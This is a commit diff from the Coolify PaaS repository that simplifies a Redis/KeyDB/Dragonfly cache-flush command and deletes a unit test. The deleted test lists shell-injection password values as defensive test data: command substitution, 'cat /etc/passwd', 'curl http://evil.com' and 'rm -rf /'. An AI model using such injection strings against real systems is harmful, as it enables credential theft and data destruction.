An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.
PHP coolifydatabasesdeploymentdockerdocker-composeinertiajslaravelmariadbmysqlnextjsnodejsphppostgresredisself-hostedself-hostingserverstatic-sitesveltesvelte5
refactor(database): simplify flush command and drop password escaping
peaklabs-dev1e70c7321591
diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.phpindex 0737b8a397..edf6bc811f 100644--- a/app/Actions/Database/FlushCacheDatabase.php+++ b/app/Actions/Database/FlushCacheDatabase.php@@ -6,6 +6,7 @@ use App\Models\StandaloneDragonfly;use App\Models\StandaloneKeydb;use App\Models\StandaloneRedis;use Lorisleiva\Actions\Concerns\AsAction;+use RuntimeException;class FlushCacheDatabase{@@ -13,58 +14,18 @@ class FlushCacheDatabasepublic function handle(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): void{- $server = $database->destination->server;-- if (! $server->isFunctional()) {- throw new \RuntimeException('Server is not functional.');- }-- if (! $database->isRunning()) {- throw new \RuntimeException('Database is not running.');- }-$cli = $database instanceof StandaloneKeydb ? 'keydb-cli' : 'redis-cli';if ($database instanceof StandaloneDragonfly && $database->enable_ssl) {$cli .= ' --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key';}- $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database), $cli);-- $output = instant_remote_process(command: [$command], server: $server, throwError: true);+ $output = instant_remote_process(+ ["docker exec {$database->uuid} sh -c 'REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'"],+ $database->destination->server,+ );if ($output !== 'OK') {- throw new \RuntimeException($output ?: 'Failed to flush the database.');- }- }-- /**- * Build the `redis-cli FLUSHALL ASYNC` command executed inside the running container.- *- * The command connects over the container's local plaintext port (available even when- * SSL is enabled, because Coolify never disables it), so no TLS flags are needed. The- * password is shell-escaped so it cannot break out of the argument and inject commands.- *- * Note: on non-root servers the command passes through parseCommandsByLineForSudo(),- * which rewrites `$(`, ` | `, `&&` and `||` line-wide, so a password containing those- * sequences is mutated even inside the escaped quotes and the flush fails to authenticate.- * This is a limitation shared with every other password-carrying remote command in the- * codebase (e.g. DatabaseBackupJob); the escaping still holds, so no command is injected.- */- public function buildFlushCommand(string $containerName, ?string $password, string $cli = 'redis-cli'): string- {- if (filled($password)) {- $cli .= ' -a '.escapeshellarg($password);+ throw new RuntimeException($output ?: 'Failed to flush the database.');}-- return "docker exec {$containerName} {$cli} FLUSHALL ASYNC";- }-- private function resolvePassword(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): ?string- {- return match (true) {- $database instanceof StandaloneRedis => $database->redis_password,- $database instanceof StandaloneKeydb => $database->keydb_password,- $database instanceof StandaloneDragonfly => $database->dragonfly_password,- };}}diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.phpindex 40862a4183..a8b38de4db 100644--- a/tests/Feature/DatabaseFlushCacheTest.php+++ b/tests/Feature/DatabaseFlushCacheTest.php@@ -76,7 +76,6 @@ test('flushes every key with the engine CLI and records an audit event', functio$database = $model::create(['name' => 'cache','image' => 'redis:7',- 'status' => 'running:healthy','environment_id' => $this->environment->id,'destination_id' => $this->destination->id,'destination_type' => $this->destination->getMorphClass(),@@ -88,15 +87,15 @@ test('flushes every key with the engine CLI and records an audit event', functio->call('flush')->assertDispatched('success');- Process::assertRan(fn ($process) => str_contains($process->command, "sudo docker exec {$database->uuid} {$cli} FLUSHALL ASYNC"));+ Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''"));expect(AuditEvent::query()->where('event', 'ui.database.flushed')->where('resource_uuid', $database->uuid)->exists())->toBeTrue();})->with(['redis' => [StandaloneRedis::class, [], 'redis-cli'],- 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], "keydb-cli -a 'secret'"],- 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], "redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key -a 'secret'"],+ 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], 'keydb-cli'],+ 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], 'redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'],]);test('reports an error when the database does not reply OK', function () {diff --git a/tests/Unit/FlushCacheDatabaseCommandTest.php b/tests/Unit/FlushCacheDatabaseCommandTest.phpdeleted file mode 100644index 86982b457c..0000000000--- a/tests/Unit/FlushCacheDatabaseCommandTest.php+++ /dev/null@@ -1,39 +0,0 @@-<?php--use App\Actions\Database\FlushCacheDatabase;--dataset('malicious_passwords', [- 'semicolon separator' => ['pass; id > /tmp/pwned; echo'],- 'command substitution $()' => ['pass$(id > /tmp/pwned)'],- 'backtick substitution' => ['pass`id > /tmp/pwned`'],- 'pipe operator' => ['pass | cat /etc/passwd'],- 'background operator' => ['pass & curl http://evil.com'],- 'single quote breakout' => ["pass' ; rm -rf / ; '"],-]);--test('flush command runs FLUSHALL ASYNC via docker exec against the container uuid', function () {- $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', 'secret');-- expect($command)->toStartWith('docker exec abc123uuid redis-cli')- ->and($command)->toEndWith('FLUSHALL ASYNC')- ->and($command)->toContain("-a 'secret'");-});--test('flush command omits the -a flag when no password is set', function () {- $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', null);-- expect($command)->toBe('docker exec abc123uuid redis-cli FLUSHALL ASYNC')- ->and($command)->not->toContain('-a');-});--test('flush command shell-escapes the password so it cannot inject shell commands', function (string $malicious) {- $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', $malicious);-- // The password must appear only inside a single-quoted, escaped argument.- expect($command)->toContain(escapeshellarg($malicious))- ->and($command)->toEndWith('FLUSHALL ASYNC');-- // Strip the escaped password out; nothing dangerous may remain in the raw command.- $withoutPassword = str_replace(escapeshellarg($malicious), '', $command);- expect($withoutPassword)->toBe('docker exec abc123uuid redis-cli -a FLUSHALL ASYNC');-})->with('malicious_passwords');